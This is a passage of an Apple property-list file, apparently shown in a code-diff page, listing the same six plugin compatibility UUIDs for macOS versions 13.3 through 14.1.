<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
</array>
|
||||
<key>Supported13.3PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
|
||||
</array>
|
||||
<key>Supported13.4PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
|
||||
</array>
|
||||
<key>Supported13.5PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
|
||||
</array>
|
||||
<key>Supported13.6PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
|
||||
</array>
|
||||
<key>Supported13.7PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
|
||||
</array>
|
||||
<key>Supported14.0PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
|
||||
</array>
|
||||
<key>Supported14.1PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user